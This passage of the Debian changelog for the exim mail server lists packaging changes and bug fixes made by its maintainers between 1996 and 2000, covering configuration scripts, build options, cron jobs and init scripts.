xlib6-g (used for eximon) + (Closes: #72088, #70918) + * OS/Makefile-GNU: Use -lcrypt (partially fixes #71705) + * debian/eximstats.8: Synopsis includes log file names (Closes: #72644) + * debian/config: Include commented out how to restrict to local + interface only (Closes: #66510) + * debian/config: Set path on address_path transport to include /usr/bin + (Closes: #65521) + * debian/cron.daily: Run exim_tidydb to clean retry database (Closes: + #57543) + * debian/postinst: Install /var/log/exim directory as setgid adm + (Closes: #35719, #11918) + * debian/config: Use check_local_user in forwardfile director, so that + correct user and group are used when running pipe entries in forward + file (Closes: #72645) + * debian/config: Include empty authenticators section + * debian/editme-diff.gnu: New file for GNU hurd; old file renamed to + editme-diff.linux + * debian/rules: Use appropriate editme-diff for OS. This is necessary + because currently the hurd doesn't support ldap or pam (Closes: #71705) + + -- Mark Baker <mbaker@iee.org> Sat, 30 Sep 2000 18:43:41 +0100 + +exim (3.16-3.1) unstable; urgency=low + + * NMU for libdb2/glibc/ldap updates + * Build using new libldap2-dev + * Change Build-Depends accordingly + + -- Ben Collins <bcollins@debian.org> Wed, 27 Sep 2000 13:11:51 -0400 + +exim (3.16-3) unstable; urgency=low + + * debian/config: need to escape another ' character (Closes: #70039, + #70760, #70722, #70575) + + -- Mark Baker <mbaker@iee.org> Sat, 2 Sep 2000 16:43:40 +0100 + +exim (3.16-2) unstable; urgency=low + + * debian/config: need to escape ' character (Closes: #70039) + * debian/control: added libident-dev and libwrap0-dev to build + dependencies (Closes: #70405) + * debian/rules: use -p option when creating Local directory, so it + doesn't fail if called repeatedly (Closes: #70519) + + -- Mark Baker <mbaker@iee.org> Tue, 29 Aug 2000 21:14:31 +0100 + +exim (3.16-1) unstable; urgency=low + + * New upstream version (Closes: #66053) + * Applied interface discovery patch by Jason Gunthorpe (Closes: #68748) + * Applied IPv6 interface discovery patch also by Jason (Closes: #64531) + * debian/exim.8: Removed superfluous hyphen (Closes: #69384) + * debian/config: Changed /usr/doc/exim to /usr/share/doc/exim in a + couple of places (Closes: #69013) + * debian/init.d: Don't disable inetd.conf entry when starting MTA - if + it wasn't disabled already we wouldn't have got that far, so it's + unnecessary and confusing for anyone reading the script (Closes: #69048) + * debian/config: add accept_8bitmime, commented out, with a comment + explaining why it is probably a bad idea for it to be set + * debian/control: add Build-depends: line + * linked with libpcre3 + * debian/editme-diff: include PAM support (Closes: #66398) + + -- Mark Baker <mbaker@iee.org> Fri, 25 Aug 2000 00:14:35 +0100 + +exim (3.12-10) frozen unstable; urgency=low + + * debian/config: include headers_check_syntax in generated configuration + file, commented out (Closes: #63238) + * debian/config: don't include system hostname in list of local domains + for satellite system (Closes: #61048) + * src/host.c: look up an A record if attempt to look up AAAA record + returns TRY_AGAIN, so it works with bind 4 nameservers. This was fixed + upstream in 3.13, I have taken a patch from there (Closes: #62755) + + -- Mark Baker <mbaker@iee.org> Sun, 30 Apr 2000 01:05:09 +0100 + +exim (3.12-9) unstable; urgency=low + + * debian/config: test whether /etc/exim.conf can be written replaced by + test for $etc/exim.conf, allowing me to test this in another directory + while not root + * debian/config: don't include "root:root" in generated alias file + (Closes: #61498) + * debian/postinst: remove "root:root" from aliases file that older exim + versions generated (Thanks Kim Oldfield for patch) + * debian/mails: added mail from Thomas Schoepf about how he solved a + problem he had on a dialup system (Closes: #61331) + * debian/README.debian: Update: the instructions on how to run as a + daemon needed changing and exim is now built with include LDAP and + IPv6 (Closes: #62220) + * debian/rules: renamed readme file to debian/README.Debian with upper + case D. + + -- Mark Baker <mbaker@iee.org> Thu, 13 Apr 2000 00:11:09 +0100 + +exim (3.12-8) unstable; urgency=low + + * debian/postinst: fixed typo in warning message: script is called + /etc/init.d/exim, not /etc/init.d/conf (Closes: #61118) + * debian/postinst: wrap warning mesage at 80 columns (also #61118) + * debian/postinst: version of exim in test should be 3.03-2, not 3.99-2 + which was used for testing purposes (Closes: #61068) + + -- Mark Baker <mbaker@iee.org> Sun, 26 Mar 2000 23:23:48 +0100 + +exim (3.12-7) frozen unstable; urgency=low + + * debian/config: fixed typo in relay_domains question text (Closes: #60392) + * debian/config: indicate default with capital in final question + (Closes: #59722) + * debian/config: don't check relay_domains, as the check excluded + wildcards. (Closes: #59720) + * debian/config: add alias entry for nobody (Closes: #59712) + * debian/config: don't create aliases.new.O (Closes: #60572) + * debian/postinst: warn when upgrading from old versions that don't ever + run daemon from default startup script, if exim is not run from + inetd.conf (Closes: #60567) + + -- Mark Baker <mbaker@iee.org> Tue, 21 Mar 2000 23:57:00 +0000 + +exim (3.12-6) frozen unstable; urgency=low + + * debian/postinst: don't run /etc/init.d/exim if exim.conf doesn't exist. + It didn't matter, it just gave an error message that it shouldn't have. + * Remember to upload to frozen this time :) + + -- Mark Baker <mbaker@iee.org> Tue, 29 Feb 2000 23:46:30 +0000 + +exim (3.12-5) unstable; urgency=low + + * src/transport.c: upstream patch so transport filters work with + outgoing SMTP (Closes: #57835) + + -- Mark Baker <mbaker@iee.org> Sun, 13 Feb 2000 17:12:28 +0000 + +exim (3.12-4) frozen unstable; urgency=low + + * debian/config: procmail_pipe transport has right options so from hack + works on current version of exim (previously mail delivered by + procmail was being horriblyl mangled) (Closes: #56865,#56208) + * debian/cron.daily: include hostname in subject line of eximstats reports. + * debian/copyright: new upstream ftp location + + -- Mark Baker <mbaker@iee.org> Sat, 5 Feb 2000 22:00:49 +0000 + +exim (3.12-3) unstable; urgency=low + + * debian/rules: create Local directory in build target (and delete it + in clean target (Closes: #56788) + + -- Mark Baker <mbaker@iee.org> Tue, 1 Feb 2000 20:45:03 +0000 + +exim (3.12-2) unstable; urgency=low + + * src/smtp_out.c: failure to create a socket should not be a fatal + error; this was causing problems for people without IPv6 in their + kernel trying to send mail to sites with IPv6 addresses in the + DNS. (Closes: #50628) + * debian/rules,debian/editme-diffs(new file): create Local/Makefile at + build time by applying a diff to EDITME, rather than having a + pre-edited copy included in the debian source. As well as making the + debian diff rather smaller this means that upstream changes to the + EDITME file won't be ignored (Closes: #55112) + * As a result of the above, exigrep of compressed files should work + properly (Closes: #54776) + * debian/rules: delete most of util/* in clean target + + -- Mark Baker <mbaker@iee.org> Wed, 26 Jan 2000 23:28:56 +0000 + +exim (3.12-1) unstable; urgency=low + + * New upstream version (bug fixes) + * debian/config: procmail director does file existence check as relevant + user rather than as exim + * debian/config: procmail director fails, rather than freezing message, if + home directory can't be read (Closes: #54351,#53326,#53325,#53229) + * debian/rules, debian/conffiles, debian/email-addresses (new file): add + /etc/email-addresses as a conf-file (Closes: #54124) + + -- Mark Baker <mbaker@iee.org> Sun, 9 Jan 2000 17:45:31 +0000 + +exim (3.11-2) unstable; urgency=low + + * OS/Makefile-Base: comment out code to check whether makefile needs + updating; it didn't seem to work properly on some systems. I don't + know why. This is a nasty hack but it works (Closes: #50435) + * debian/control: description doesn't start with package name + * debian/control: "X" rather than "X-windows" + + -- Mark Baker <mbaker@iee.org> Sun, 19 Dec 1999 11:01:00 +0000 + +exim (3.11-1) unstable; urgency=low + + * New upstream version (Closes: #51744) + + -- Mark Baker <mbaker@iee.org> Wed, 8 Dec 1999 00:02:59 +0000 + +exim (3.03-6) unstable; urgency=low + + * debian/config: check that /etc/exim.conf was writable didn't do the + right thing when file didn't exist (Closes: #51498,#51789) + * debian/config: uncomment second line of rewrite configuration (Closes: + #51496,#52111,#52148,) + * debian/rules: clean target deletes Local/Makefile-Linux (Closes: #50435) + * doc/spec.txt: example cyrus configuration refers to debian location of + binary + + -- Mark Baker <mbaker@iee.org> Tue, 7 Dec 1999 22:24:04 +0000 + +exim (3.03-5) unstable; urgency=low + + * Local/Makefile: don't link with libwrap any more; it causes too many + problems for people upgrading (#50250) + * debian/config: don't include userforward or procmail directors in + satellite configuration (#40570) + * debian/crontab: only run queue if /etc/exim.conf exists (#43419) + * debian/rules, debian/ipv6.sh, OS/Makefile-Default: Fix so IPv6 support + is only included if available, so exim will build on m68k (#50435) + * debian/config: exit if not run as root (#50543) + * debian/config: don't comment out the example rewrite rule: it is + sufficiently widely used, at least for dialups, that it should be in + by default (#49202) + + -- Mark Baker <mbaker@iee.org> Sat, 27 Nov 1999 19:11:33 +0000 + +exim (3.03-4) unstable; urgency=low + + * debian/control: put quotes around $etc/exim.conf (#50071) + * Create symlinks in /usr/doc from postinst, not rules (#50072) + . debian/postinst: create symlink in /usr/doc if required + . debian/postinst-eximon (new file): create symlink in /usr/doc if required + . debian/prerm: delete symlink in /usr/doc + . debian/prerm-eximon (new file): delete symlink in /usr/doc + . debian/rules: don't create symlinks in /usr/doc + . debian/rules: install {postinst,prerm}-eximon + * debian/rules: install man pages in /usr/share/man as required by + policy 3.1.0 + * debian/copyright: refer to GPL in new location + /usr/share/common-licences/GPL instead of /usr/doc/copyright/GPL + + -- Mark Baker <mbaker@iee.org> Sat, 13 Nov 1999 16:52:59 +0000 + +exim (3.03-3) unstable; urgency=low + + * debian/rules: install docs in /usr/share/doc/exim with symlink from + /usr/doc/exim, as required by policy 3.1.0 + * debian/control: policy version upgraded to 3.1.0 + * debian/config: if exim.conf already exists, warn that continuing with + eximconfig will trash it (#49201) + * debian/*: updated Tim Cutts' email address + + -- Mark Baker <mbaker@iee.org> Thu, 11 Nov 1999 21:07:56 +0000 + +exim (3.03-2) unstable; urgency=low + + * debian/config: don't shift things off @names, as that was removing + localhost (#48102) + * exim_monitor/em_main.c: fix bindings for popup menu so they work with + all combinations of modifiers, working round Xt misfeature. Thanks + Kevin Ryde for patch (#20485) + * debian/config: fixed typo (FRC instead of RFC) + * debian/README.debian: extra backslashes in sample filter (#46462) + * debian/crontab: only run every 30 mins instead of every 15; this is + the same frequency as we ask a daemon to do a queue run and it makes + sense for them to be the same + * debian/config: generated configuration will call procmail if it is + installed and if users have .procmailrc files + * debian/init.d: start exim daemon if no smtp entry in inetd.conf + * OS/Makefile-Default: define HAVE_IPV6. The attempt to auto-detect it + was a failure (it detected it correctly, but the config.h builder + doesn't understand anything so fancy in the makefile) + * Local/Makefile: include LDAP support + * Local/Makefile: link with libwrap + + -- Mark Baker <mbaker@iee.org> Thu, 4 Nov 1999 21:22:20 +0000 + +exim (3.03-1) unstable; urgency=low + + * new upstream version + * src/exim.h: include <pcre.h> rather than "pcre/pcre.h" + * OS/Makefile.Base: don't build pcre (it's not used anyway) + * debian/postinst: don't do upgrade from pre-3.0 stuff if /etc/exim.conf + doesn't exist (#42305) + * debian/eximconfig.8: mention -i option (#41786) + + -- Mark Baker <mbaker@iee.org> Wed, 4 Aug 1999 22:24:57 +0100 + +exim (3.02-5) unstable; urgency=low + + * OS/Makefile-Linux, OS/Makefile-Default: applied patch from Roman Hodek + so it will compile on m68k which doesn't yet have glibc2.1 (#41365) + * debian/config: applied patch from Andrew Pimlott so system users with + a hyphen in the login name (only www-data normally) get added to + aliases file (#41235) + * debian/config: typo (exim-doc package name without hyphen) (#41071) + * debian/exim.8: updated command line options in manpage (#41082) + + -- Mark Baker <mbaker@iee.org> Mon, 19 Jul 1999 23:26:34 +0100 + +exim (3.02-4) unstable; urgency=low + + * src/daemon.c: patch in previous release only did half the job; I now + have a patch from the upstream author instead. + + -- Mark Baker <mbaker@iee.org> Wed, 7 Jul 1999 22:35:44 +0100 + +exim (3.02-3) unstable; urgency=low + + * src/daemon.c: if attempt to open AF_INET6 fails, try again as AF_INET; this + will hopefully make it work for people without IPv6 in their kernels + (#40248) + * src/host.c: apply upstream patch so ::ffff:w.x.y.z style IPv4 compatibility + addresses will reverse lookup correctly + + -- Mark Baker <mbaker@iee.org> Wed, 30 Jun 1999 23:28:35 +0100 + +exim (3.02-2) unstable; urgency=low + + * debian/config: fix received headers (#40185,#40210,#40216) + + -- Mark Baker <mbaker@iee.org> Tue, 29 Jun 1999 00:58:15 +0100 + +exim (3.02-1) unstable; urgency=low + + * New upstream release (bug fixes) + * Applied patch for GNU/Hurd support (#39262) + * debian/config: include "localhost" as a local domain by default. I do + this reluctantly, so fetchmail will work out the box. + * debian/config: include "for <x@y>" in received headers (#39344) + * debian/config: add Envelope-to: header in local delivery transport + * debian/copyright: update copyright date to 1999 + * src/host.c: Fixed bug with IPv6 address handling properly + * src/verify.c: Removed work-around introduced in last release + + -- Mark Baker <mbaker@iee.org> Mon, 21 Jun 1999 22:37:56 +0100 + +exim (3.01-1) unstable; urgency=low + + * New upstream release (bug fixes) + * src/verify.c: Fixed bug with IPv6 address handling + * debian/config: eximconfig -i should restart daemon + + -- Mark Baker <mbaker@iee.org> Tue, 25 May 1999 23:33:00 +0100 + +exim (3.00-1) unstable; urgency=low + + * New upstream release + * OS/Makefile-Default: Enabled IPv6 support (this therefore requires + glibc 2.1) + * debian/config: Outputs new configuration file format + * debian/config: If called with -i option, installs exim in inetd.conf etc + * debian/postinst: When upgrading from pre-3.00 versions, convert + configuration file to new format. Leave exim not running, as the + configuration file will need to be manually checked. + * debian/postinst: registration of init.d script only done if exim configured + + -- Mark Baker <mbaker@iee.org> Sat, 15 May 1999 01:22:33 +0100 + +exim (2.11-4) unstable; urgency=low + + * debian/cron.daily: only cycle logs if files exist (#35544, #35585, + #34645, #36271) + * debian/control: suggests exim-doc (#34086) + * debian/README.debian: include sample .forward file to handle mail on + debian mailing lists (thanks Giuliano) + * debian/config: allow domain name components that start with a + number. While these are strictly speaking not allowed, there are + plenty out there, and not allowing them was causing problems (#36320) + + -- Mark Baker <mbaker@iee.org> Thu, 22 Apr 1999 23:08:16 +0100 + +exim (2.11-3) unstable; urgency=low + + * debian/config: recommend adding localhost to local domains if + fetchmail is to be used (#34088) + * debian/config: was generating invalid rewrite rules for a satellite + system with no root alias specified (#34060) + * debian/config: generated config includes "for" information in received + headers + * debian/config: set smtp_accept_queue_per_connection to 100 in + generated config, as the default of 10 is much too low for dialup + users + * debian/config: set freeze_tell_mailmaster to true in generated config + * debian/config: always allow relaying from localhost (#31844) + * debian/cron.daily: use savelog instead of exicyclog (#33467) + + -- Mark Baker <mbaker@iee.org> Thu, 4 Mar 1999 23:50:16 +0000 + +exim (2.11-2) unstable; urgency=low + + * debian/config: write config files to /etc instead of /tmp (oops!) + + -- Mark Baker <mbaker@iee.org> Mon, 1 Feb 1999 23:27:05 +0000 + +exim (2.11-1) unstable; urgency=low + + * New upstream version + * (Uses libpcre2 instead of libpcre1) + * debian/config: don't set never_users if user doesn't set up a root alias + + -- Mark Baker <mbaker@iee.org> Fri, 28 Jan 1999 00:21:00 +0000 + +exim (2.05-1) frozen unstable; urgency=low + + * New upstream version (mostly bugfixes) + + -- Mark Baker <mbaker@iee.org> Sat, 7 Nov 1998 00:24:44 +0000 + +exim (2.04-3) unstable; urgency=low + + * debian/init.d: don't enable inetd service when stopping daemon (#27265) + * delete lots of .orig files that didn't need to be in source diff (#27267) + * recompile against libident with correct shlibs (#27265) + + -- Mark Baker <mbaker@iee.org> Thu, 1 Oct 1998 21:23:30 +0100 + +exim (2.04-2) unstable; urgency=low + + * debian/postinst: use -e so it dies on errors + * debian/preinst: don't use crontab if it isn't installed + + -- Mark Baker <mbaker@iee.org> Sun, 27 Sep 1998 22:07:51 +0100 + +exim (2.04-1) unstable; urgency=low + + * New upstream version (mostly bug fixes) + * debian/crontab: check exim exists and is executable (#26953) + + -- Mark Baker <mbaker@iee.org> Sat, 26 Sep 1998 21:26:19 +0100 + +exim (2.02-4) unstable; urgency=low + + * debian/crontab: 2>&1 should be after >/dev/null + + -- Mark Baker <mbaker@iee.org> Tue, 01 Sep 1998 22:49:00 +0100 + +exim (2.02-3) unstable; urgency=low + + * Local/Makefile: include maildir support (#25575) + + -- Mark Baker <mbaker@iee.org> Mon, 10 Aug 1998 21:46:08 +0100 + +exim (2.02-2) unstable; urgency=medium + + * debian/crontab: should be 2>&1 instead of 2&>1 (#25539,#25552,#25558) + + -- Mark Baker <mbaker@iee.org> Sun, 09 Aug 1998 22:23:00 +0100 + +exim (2.02-1) unstable; urgency=low + + * New upstream version (#24692) + * debian/crontab: send output to /dev/null (#24384) + + -- Mark Baker <mbaker@iee.org> Thu, 06 Aug 1998 21:46:27 +0100 + +exim (1.92-4) unstable; urgency=low + + * debian/preinst: redirect stderr of some commands to /dev/null (#22867) + * src/macros.h: define iscntrl() so 8-bit strings work in headers + (#22932 and hopefully #20958) + + -- Mark Baker <mbaker@iee.org> Sat, 30 May 1998 13:11:27 +0100 + +exim (1.92-3) frozen unstable; urgency=low + + * debian/config: write config files in /etc, not . (#22387) + * debian/config: properly comment out example rewriter (#22388) + * debian/postrm: remove rc.d links only on purge, not remove + + -- Mark Baker <mbaker@iee.org> Wed, 13 May 1998 09:55:00 +0100 + +exim (1.92-2) frozen unstable; urgency=low + + * These together answer all but one of the issues raised in #22067 + * debian/config: fix typo in "TRANPORTS" + * debian/config: put separator between each question + * debian/config: clarify question about qualifying domain for satellite + system + * debian/config: rewrite rule for satellite systems now matches root etc + case insensitively + * debian/config: include in output (commented out) example of how to + rewrite all outgoing addresses according to lookup table + + -- Mark Baker <mbaker@iee.org> Mon, 04 May 1998 22:08:00 +0100 + +exim (1.92-1) frozen unstable; urgency=low + + * New upstream version (minor bug fixes) + * OS/Makefile-Linux: compile with -O2 + * OS/Makefile-Base: link with existing libident.a + * src/eximon.src: don't set LD_LIBRARY_PATH in eximon wrapper script + * exim_monitor/em_main.c: show last 8k of log when you start (#21956) + * debian/postinst: don't install in inetd.conf unless /etc/exim.conf + exists (#19548) + * debian/rules: minor changes + + -- Mark Baker <mbaker@iee.org> Fri, 01 May 1998 22:55:25 +0100 + +exim (1.91-1) frozen unstable; urgency=low + + * New upstream version (bug fixes) + + -- Mark Baker <mbaker@iee.org> Tue, 28 Apr 1998 10:12:38 +0100 + +exim (1.90-5) frozen unstable; urgency=low + + * debian/postinst: don't die if exim already running (#21181) + * debian/config: set umask to 022, so aliases file created has mode that + exim won't complain about (#21410) + * debian/control: suggest mail-reader, not mail-user-agent (which doesn't + exist) + + -- Mark Baker <mbaker@iee.org> Thu, 16 Apr 1998 19:45:55 +0100 + +exim (1.90-4) frozen unstable; urgency=low + + * Delete debian/files before packaging source (#21217) + + -- Mark Baker <mbaker@iee.org> Thu, 16 Apr 1998 19:45:55 +0100 + +exim (1.90-3) frozen unstable; urgency=low + + * Fixed silly bug that stopped eximconfig from running (I hadn't tested + it, as it was just one minor change to a comment. However, the comment + was in the generated exim.conf file, so was embedded in a perl + string---using an unescaped apostrophe broke things) + + -- Mark Baker <mbaker@iee.org> Wed, 08 Apr 1998 19:42:51 +0100 + +exim (1.90-2) frozen unstable; urgency=low + + * Configuration written by eximconfig will not fail if mailbox has a + stricter mode than the default 0660 + + -- Mark Baker <mbaker@iee.org> Fri, 03 Apr 1998 11:06:20 +0100 + +exim (1.90-1) frozen unstable; urgency=low + + * New upstream version (bug fixes) + * Split out documentation, allowing pristine source to be used + + -- Mark Baker <mbaker@iee.org> Wed, 01 Apr 1998 11:06:20 +0100 + +exim (1.89.1-1) frozen unstable; urgency=low + + * New upstream version 1.891 (bug fixes) + + -- Mark Baker <mbaker@iee.org> Wed, 18 Mar 1998 20:11:30 +0000 + +exim (1.89.0-2) frozen unstable; urgency=low + + * Improved inetd.conf handling, hopefully won't lose any changes you make + over upgrades + + -- Mark Baker <mbaker@iee.org> Sat, 14 Mar 1998 14:32:00 +0000 + +exim (1.89.0-1) unstable; urgency=low + + * New upstream version (1.890, a beta test of 1.90) + * Fixed cron scripts so they don't fail if exim not installed (eg when + upgrading) + * Added newline to end of generated /etc/aliases + * Pause after first paragraph of eximconfig (#19547) + + -- Mark Baker <mbaker@iee.org> Sat, 14 Mar 1998 14:32:00 +0000 + +exim (1.82-11) unstable; urgency=low + + * Make ip-up.d script a config file + * Check for existence of exim before running it from ip-up.d (#19119) + * Only run eximconfig if there is no exim.conf file + * This means eximconfig doesn't need to check for exim.conf itself, and + so doesn't need a --force option + + -- Mark Baker <mbaker@iee.org> Sat, 07 Mar 1998 21:02:30 +0000 + +exim (1.82-10) unstable; urgency=low + + * Fixed update-rc.d calls in postrm (#16355) + * Replaces: mail-transport-agent (#9305) + + -- Mark Baker <mbaker@iee.org> Sat, 07 Mar 1998 17:54:30 +0000 + +exim (1.82-9) unstable; urgency=low + + * Added mailq manpage link + * Install docs copyright before calculating md5sums + + -- Mark Baker <mbaker@iee.org> Fri, 27 Feb 1998 21:36:38 +0000 + +exim (1.82-8) unstable; urgency=low + + * Fixed manpages so whatis information can be extracted (#18667) + * Added a script for ip-up.d (#18675) + + -- Mark Baker <mbaker@iee.org> Fri, 27 Feb 1998 21:36:38 +0000 + +exim (1.82-7) unstable; urgency=low + + * Corrected URL in eximconfig script (#18422) + + -- Mark Baker <mbaker@iee.org> Fri, 20 Feb 1998 18:32:27 +0000 + +exim (1.82-6) unstable; urgency=low + + * exim-doc package doesn't depend on exim (#18285) + + -- Mark Baker <mbaker@iee.org> Wed, 18 Feb 1998 12:03:10 +0000 + +exim (1.82-5) unstable; urgency=low + + * exim-doc package depends on exim + * Inserted space that was missing from depends line for eximon + * Added force-reload and restart options to init.d script + + -- Mark Baker <mbaker@iee.org> Sun, 15 Feb 1998 22:29:00 +0000 + +exim (1.82-4) unstable; urgency=low + + * Written manpages for exiqsumm and eximconfig + * Updated FSF snail-mail address in copyright file + * Moved eximon.bin into /usr/lib/exim + * Updated standards-version to 2.4.0.0 + * Fixed md5sum generation + * Symlinks from /usr/doc/{eximon,exim-doc} to exim + * Fixed typo in exim.conf generated by eximconfig (#18054) + + -- Mark Baker <mbaker@iee.org> Tue, 10 Feb 1998 00:45:00 +0000 + +exim (1.82-3) unstable; urgency=low + + * Rewritten eximconfig + + Relaying configuration + + RBL spam-blocking (#17805) + + Ask before overwriting /etc/aliases (#16056) + + New configuration for system with local deliveries but smarthost + for remote mail---useful for dialup users + + Generally tidied up + * use /etc/cron.d instead of mail's crontab + + -- Mark Baker <mbaker@iee.org> Sat, 7 Feb 1998 21:56:25 +0000 + +exim (1.82-2) unstable; urgency=low + + * Write startup messages in standard format + + -- Mark Baker <mbaker@iee.org> Wed, 7 Jan 1998 21:21:35 +0000 + +exim (1.82-1) unstable; urgency=low + + * New upstream release + + -- Mark Baker <mbaker@iee.org> Sat, 27 Dec 1997 12:17:23 +0000 + +exim (1.81-1) unstable; urgency=low + + * New upstream release (bug fixes) + * Removed bogus Replaces: line (#16054) + * Mark /etc/init.d/exim as a conffile + + -- Mark Baker <mbaker@iee.org> Thu, 18 Dec 1997 11:28:11 +0000 + +exim (1.80-2) unstable; urgency=low + + * Fixed typo in control (#15927) + * Removed suggestion of metamail + * Don't include docs in exim package + + -- Mark Baker <mbaker@iee.org> Sun, 14 Dec 1997 20:12:14 +0000 + +exim (1.80-1) unstable; urgency=low + + * New upstream release + * Strip binaries (#15720) + + -- Mark Baker <mbaker@iee.org> Sat, 13 Dec 1997 20:46:18 +0000 + +exim (1.73-11) unstable; urgency=low + + * Really depend on cron. I put it in the changelog but forgot to + do it last time! + + -- Mark Baker <mbaker@iee.org> Mon, 24 Nov 1997 23:24:09 +0000 + +exim (1.73-10) unstable; urgency=low + + * Rewritten copyright file + * Put note in prerm about deleting multiple inetd lines (#14554) + * Depend on cron (#15229) + + -- Mark Baker <mbaker@iee.org> Mon, 24 Nov 1997 21:29:51 +0000 + +exim (1.73-9) unstable; urgency=low + + * The | I removed in 1.73-7 should have been changed to a \, not + removed altogether. I hope I haven't screwed up too many people's + /etc/crontab with this bug :( + + -- Mark Baker <mbaker@iee.org> Tue, 11 Nov 1997 23:04:19 +0000 + +exim (1.73-8) unstable; urgency=low + + * Patch from upstream to fix bug with DB lookups + + -- Mark Baker <mbaker@iee.org> Mon, 3 Nov 1997 11:25:37 +0000 + +exim (1.73-7) unstable; urgency=low + + * Remove spurious | from preinst that trashed /etc/crontab + * Remove from inetd etc in prerm rather than postrm + + -- Mark Baker <mbaker@iee.org> Wed, 22 Oct 1997 14:36:21 +0100 + +exim (1.73-6) unstable; urgency=low + + * Now really clear up crontab from old versions + * Fix sed expressions (#14044) + + -- Mark Baker <mbaker@iee.org> Wed, 22 Oct 1997 14:34:52 +0100 + +exim (1.73-5) unstable; urgency=low + + * Comment out crontab entry when removed (#14016) + + -- Mark Baker <mbaker@iee.org> Mon, 20 Oct 1997 21:01:44 +0100 + +exim (1.73-4) unstable; urgency=low + + * Use mail user's crontab instead of system one + * Clear up crontab installed by old versions (#13998) + * Add md5sums + + -- Mark Baker <mbaker@iee.org> Sun, 19 Oct 1997 23:21:35 +0100 + +exim (1.73-3) unstable; urgency=low + + * Rewrite postinst etc (I hadn't realised that they weren't complete) (#13940) + + -- Mark Baker <mbaker@iee.org> Thu, 16 Oct 1997 23:58:46 +0100 + +exim (1.73-2) unstable; urgency=low + + * Install README.debian file + * Install {pre,post}{inst,rm} (#13919) + + -- Mark Baker <mbaker@iee.org> Thu, 16 Oct 1997 14:45:42 +0100 + +exim (1.73-1) unstable; urgency=low + + * New upstream version + * New maintainer + * Rewritten most of debian/rules + * (and as a result, no longer use debmake) + * Documented what EXIM_GID is compiled in (#11907) + * Made eximconfig less confusing (#12664) + + -- Mark Baker <mbaker@iee.org> Wed, 15 Oct 1997 17:13:27 +0100 + +exim (1.71-1) unstable; urgency=low + + * Upstream update and libc6 build. Minimize the diffs to upstream sources. + + -- Christoph Lameter <clameter@debian.org> Thu, 25 Sep 1997 20:07:21 -0700 + +exim (1.62-3) unstable; urgency=high + + * Fixed buffer overrun security hole in .forward processing + + -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Tue, 22 Jul 1997 10:00:00 +0100 + +exim (1.62-2) unstable; urgency=low + + * Fixed paths in exicyclog (bugs #9444, #9759 and #9996) + * Transferred eximon man page from exim to eximon (bug #9425) + + -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Mon, 16 Jun 1997 11:37:56 +0100 + +exim (1.62-1) unstable; urgency=low + + * New upstream release + + -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Mon, 28 Apr 1997 14:36:37 +0000 + +exim (1.61-1) unstable; urgency=low + + * New upstream release, fixes debian bug #7671 + + -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Tue, 4 Mar 1997 15:24:21 +0000 + +exim (1.60-3) unstable; urgency=low + + * Added a 'sendmail' alias to the exim manpage + * Incorporated Christoph's -1 and -2 changes into my own 1.60 package. + + -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Thu, 27 Feb 1997 17:57:30 +0000 + +exim (1.60-2) unstable; urgency=low + + * Add some more manpages + * /usr/sbin/sendmail and /usr/sbin/runq symlink was missing. + + -- Christoph Lameter <clameter@debian.org> Wed, 26 Feb 1997 12:34:08 -0800 + +exim (1.60-1) unstable; urgency=low + + * New upstream version + * Manpages written + + -- Christoph Lameter <clameter@debian.org> Wed, 26 Feb 1997 10:18:06 -0800 + +exim (1.59.8-2) unstable; urgency=low + + * Reversed some of Christoph's changes; put textual documentation + back into exim package, and info files into exim-doc package. + + -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Thu, 27 Feb 1997 12:37:15 +0000 + +exim (1.59.8-1) unstable; urgency=low + + * Supplies some more information regaring uucp and kernel related NFS + problems + * New upstream release + + -- Christoph Lameter <clameter@debian.org> Mon, 24 Feb 1997 11:57:10 -0800 + +exim (1.59.6-1) unstable; urgency=low + + * Put into unstable + * Some fixes to the debian setup and the eximconfig script + * New upstream release + + -- Christoph Lameter <clameter@debian.org> Thu, 6 Feb 1997 10:26:23 -0800 + +exim (1.59.5-3) experimental; urgency=low + + * Rebuild with debmake 3.0.6 + * eximstats: Small bug fixed + + -- Christoph Lameter <clameter@debian.org> Fri, 31 Jan 1997 08:37:35 -0800 + +exim (1.59.5-2) experimental; urgency=low + + * Rebuild with debmake 3.0.1 + + -- Christoph Lameter <clameter@debian.org> Wed, 29 Jan 1997 12:57:12 -0800 + +exim (1.59.5-1) experimental; urgency=low + + * Experimental package for debstdn (debmake 2.80) + * New upstream release. NFS Hacks removed. + + -- Christoph Lameter <clameter@debian.org> Sat, 25 Jan 1997 17:21:41 -0800 + +exim (1.59-1.2) experimental; urgency=low + + * NFS Problem hacked around (just skipped offending section ....) + Locking via NFS is probably broken now. + + -- Christoph Lameter <clameter@debian.org> Fri, 27 Dec 1996 19:39:16 -0800 + +exim (1.59-1.1) experimental; urgency=low + + * Full Replacement for smail (and better, easier than smail) + * Compiled with db libraries instead of dbm. + * Send Daily Statistics to Postmaster + * Run eximcyclog from /etc/cron.daily + * Run exim from inetd.conf. Run queue hourly via crontab. + * newaliases command provided for sendmail compatibility. + + -- Christoph Lameter <clameter@debian.org> Mon, 23 Dec 1996 20:45:44 -0800 + +exim (1.59-1) experimental; urgency=low + + * Upgraded to exim 1.59 + * Putting PID files in /var/run/exim/ + * Changes to exim-doc package by Christoph + * Included a postrm script (to remove /var/run/exim, /etc/exim.conf and + /var/log/exim if purging) + + -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Wed, 18 Dec 1996 09:00:00 +0000 + +exim (1.58-7) experimental; urgency=low + + * Local/Makefile updated to be more FSSTND compliant + * Minor changes to debian/* files supporting this + * Default mail spool changed from /usr/spool/... to /var/spool/... + * Added a commented-out user = list line to the system_aliases director + for smartlist users to uncomment + + -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Tue, 17 Dec 1996 17:00:00 +0000 + +exim (1.58-6) experimental; urgency=low + + * eximinstall script was not installed + * problems with the init scripts failing + + -- Christoph Lameter <clameter@debian.org> Mon, 16 Dec 1996 20:45:44 -0800 + +exim (1.58-5) experimental; urgency=low + + * Revised + + -- Christoph Lameter <clameter@debian.org> Mon, 16 Dec 1996 07:11:31 -0800 + +exim (1.58-4) unstable; urgency=low + + * Initial efforts + + -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Mon, 25 Nov 